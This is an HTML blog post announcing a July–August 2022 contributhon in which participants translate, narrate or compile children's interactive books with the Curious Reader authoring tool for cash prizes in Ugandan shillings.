<p>Curious Reader is a digital storytelling platform designed to encourage interactive learning. The platform includes interactions—primarily between animation, text, and audio—that help anyone to learn to read.</p>
<p>The Curious Reader platform makes it easy to update an existing storybook to offer a richer interactive experience or to localize an existing book to other languages. There are several key features that distinguish a Curious Reader book from other learning tools:</p>
<ol>
<li><strong><em>Self-narration:</em></strong> The displayed text is narrated.</li>
<li><strong><em>Interactivity:</em></strong> Taps to words and graphics produce audio and/or visual responses.</li>
<li><strong><em>Tap to read:</em></strong> The ability to tap on individual words and hear the enunciation.</li>
<li><strong><em>Linked text and graphics:</em></strong> This establishes a relationship between text and graphics.</li>
<li><strong><em>Levelled reading:</em></strong> This allows a single story to accommodate multiple reading levels as a reader becomes more proficient at reading over time.</li>
</ol>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="&lt;iframe src=">
" data-card-controls="0" data-card-theme="light"&gt;<iframe src="https://curiousreader.org/wp-admin/admin-ajax.php?action=h5p_embed&amp;id=62" width="1034" height="580"></iframe>
</a></div>
<blockquote>
<p>The Curious Reader platform is used to create web-based apps for Android and iOS smartphones, tablets, and web browsers (Chrome or Firefox).<br />Best of all, no coding experience is required!!.</p>
</blockquote>
<h1 id="heading-about-the-contributhon">About the Contributhon 💡</h1>
<p>From 14th July to 12th August, we want to see you build interactive books using the Curious Reader Authoring tool. 
For this contributhon, you will choose among any of three tasks: </p>
<ol>
<li>Translation - translate (an) English script(s) to a local language(s). Find out how to tackle this task <a target="_blank" href="https://portals.docsie.io/curious-learning-glp/curious-learning-glp-docs/curious-learning-glp-docs-docs/deployment_sBUpMczhAf8UVjuVr/?doc=/localization-guide/">here</a>. </li>
<li>Recording Audio. Find out how to record the best quality audio <a target="_blank" href="https://portals.docsie.io/curious-learning-glp/curious-learning-glp-docs/curious-learning-glp-docs-docs/deployment_sBUpMczhAf8UVjuVr/?doc=/content-creation-guide/voiceover-actor-instructions/">here</a>. </li>
<li>Compiling the book(s) into finished form. Find how to do this <a target="_blank" href="https://portals.docsie.io/curious-learning-glp/curious-learning-glp-docs/curious-learning-glp-docs-docs/deployment_sBUpMczhAf8UVjuVr/?doc=/app-building-guide/">here</a>. </li>
</ol>
<p>You will also choose from this list of books, which book you want to localize or make interactive. </p>
<ul>
<li><a target="_blank" href="https://curiousreader.org/book/cicadas-song-level-2-en/?bl=emergent-reader">Cicada’s Song</a></li>
<li><a target="_blank" href="https://curiousreader.org/book/i-am-not-afraid-level-2-en/?bl=emergent-reader">I am not afraid</a></li>
<li><a target="_blank" href="https://curiousreader.org/book/colours-of-nature-level-2-en/?bl=emergent-reader">Colors of Nature</a></li>
<li><a target="_blank" href="https://curiousreader.org/book/hide-and-seek-level-2-en/?bl=emergent-reader">Hide and Seek</a></li>
<li><a target="_blank" href="https://curiousreader.org/book/lets-fly-level-2-en/?bl=emergent-reader">Let’s fly!</a></li>
<li><a target="_blank" href="https://curiousreader.org/book/the-bee-and-the-elephant-level-2-en/?bl=emergent-reader">The bee and the elephant</a></li>
<li><a target="_blank" href="https://curiousreader.org/book/friends-level-2-en/?bl=emergent-reader">Friends</a></li>
<li><a target="_blank" href="https://curiousreader.org/book/the-lost-doll-level-2-en/?bl=emergent-reader">The Lost Doll</a></li>
<li><a target="_blank" href="https://curiousreader.org/book/colours-level-2-en/?bl=emergent-reader">Colors</a></li>
<li><a target="_blank" href="https://curiousreader.org/book/tall-and-short-level-2-en/?bl=emergent-reader">Tall and Short</a></li>
</ul>
<p>This is an excellent opportunity to unlock your translation and book-building skills with a great open-source project that speaks to one of the <a target="_blank" href="https://sdgs.un.org/goals/goal4">Sustainable Development Goals (#4)</a>. </p>
<p>If this is your first time using the Curious Reader authoring tool, you'll soon see it's super easy to get started, and there is well-written <a target="_blank" href="https://portals.docsie.io/curious-learning-glp/curious-learning-glp-docs/curious-learning-glp-docs-docs/deployment_sBUpMczhAf8UVjuVr/?doc=/">documentation</a>. </p>
<h1 id="heading-how-to-participate">How to participate.</h1>
<ol>
<li>Sign up for the Curious Learning track on the <a target="_blank" href="https://www.oseq.org/challenge">OSEQ website.</a> Make sure to check the box "I am applying for the Curious Learning track". Registration ends on 14th July, 2022.</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657400215883/J_VO9M-Og.png" alt="Screenshot 2022-07-09 at 23.21.00.png" /></p>
<ol>
<li><p>After this registration, you will be sent the Curious Learning sign-up form that will help the facilitators understand which <a target="_blank" href="https://curiousreader.org/">book</a> and task you would like to work on and whether you prefer to work alone or in a group. Fill out the registration Google form as soon as possible and then submit it. </p>
</li>
<li><p>You will be sent an onboarding email that will contain all the resources that you need to successfully create a <a target="_blank" href="https://curiousreader.org/">Curious Learning book</a> and submit it for consideration for the cash prize at the end of the hackathon. </p>
</li>
<li><p>If you face any issues with the Authoring tool or need to make any inquiries, feel free to start a discussion on the Curious Learning GitHub page under the channel <a target="_blank" href="https://github.com/curiouslearning/CuriousReaderInteractiveFunctionsH5P/discussions/categories/-oseq-hackathon">#OSEQ hackathon</a>. </p>
</li>
<li><p>After submitting your content/book, make sure to fill out the feedback form that will be sent in your email. This will help the Curious Learning team gain valuable insights on how to improve the tool in order to provide you with a better book-building experience. </p>
</li>
</ol>
<blockquote>
<p>Only participants who fill out the feedback form at the end of the contributhon will be considered for the cash prize!!</p>
</blockquote>
<h1 id="heading-hackathon-prizes">Hackathon prizes 🏆</h1>
<p><iframe src="https://giphy.com/embed/XZkqrQeqkxelW" width="480" height="257" class="giphy-embed"></iframe></p><p><a href="https://giphy.com/gifs/money-cash-dollar-XZkqrQeqkxelW">via GIPHY</a></p><p></p>
<p><em>Are you ready?!</em></p>
<p><strong>Complete Interactive books.</strong></p>
<ul>
<li>The top 2-3 groups that submit (a) complete interactive book(s) will be awarded Ugx 1,500,000 each.</li>
<li>Top 1-2 individuals who submit (a) complete interactive book(s) will be awarded Ugx 400,000 each. </li>
</ul>
<p><strong>Complete sub-tasks</strong></p>
<ul>
<li>Top 2 individuals who submit (a) translated story manuscript(s) will be awarded Ugx 100,000 each</li>
<li>Top 2 individuals who submit (a) recorded audio(s) in local language(s) will also be awarded Ugx 100,000 each. </li>
<li>Best submission for compiling (an) existing script(s) and audio(s) into an interactive book will be awarded Ugx 200,000. </li>
</ul>
<h1 id="heading-evaluation-criteria">Evaluation criteria 🔎</h1>
<p>Submissions will be judged based on the following criteria: </p>
<ul>
<li>Translations of manuscripts will be judged based on the accuracy of translation from English to the local language. </li>
<li>Recorded audio in local languages will be judged based on accuracy and relatability of intonation of voice, the pace at which sentences are being recorded (remember these are children's books), clarity of audio recordings (no white noise, background sounds, etc), completeness of audio recordings (all individual sentences and words from the manuscript have to be recorded).</li>
<li>Interactive books will be judged based on overall quality e.g how elements have been placed on each page, accuracy of synchronisation of words, animation and audio,  etc. </li>
<li>Please note that <em>only</em> individuals who fill the feedback form at the end of the project will be considered for the cash prize!</li>
</ul>
<h1 id="heading-winners-selection">Winners Selection. 💬</h1>
<p>Winners will be selected by the Curious Learning team. </p>
<h1 id="heading-important-dates-and-rules">Important dates and rules. 📆</h1>
<ul>
<li>9th July - Online registration of participants opens</li>
<li>14th July - Deadline for registrations and Online launch of the contributhon. Join us for the online launch on <a target="_blank" href="https://us06web.zoom.us/j/83824316706">Zoom</a>. </li>
<li>26th July - Online mentorship of participants</li>
<li>12th August - Closure of contributions</li>
<li>19th August - Networking event and announcement of winners. </li>
</ul>
<h1 id="heading-excited-help-spread-the-word">Excited? 😍 Help spread the word ...</h1>
<p>Feel free to tag Curious learning at <a target="_blank" href="https://twitter.com/curiouslearnglp?s=21&amp;t=Vjug2auTHRblbXCGsqCeLg">@CuriousLearnGLP</a> and OSCA Kampala at <a target="_blank" href="https://twitter.com/oscakampala">@oscakampala</a> in your tweets and posts about this hackathon. 😊</p>
<h1 id="heading-need-help">Need Help? 🙋🏽‍♀️</h1>
<p>Join the hackathon channel on the <a target="_blank" href="https://github.com/curiouslearning/CuriousReaderInteractiveFunctionsH5P/discussions/categories/-oseq-hackathon">Curious Learning GitHub discussions page</a> to connect with other Curious Reader community members and hackathon participants. 
Talk to us on Twitter at <a target="_blank" href="https://twitter.com/oscakampala">@oscakampala</a>, <a target="_blank" href="https://twitter.com/curiouslearnglp?s=21&amp;t=Vjug2auTHRblbXCGsqCeLg">@CuriousLearnGLP</a> and <a target="_blank" href="https://twitter.com/OSEQorg">@OSEQorg</a>.</p>
<p>Good luck. ✌</p>
]]></content:encoded></item></channel></rss>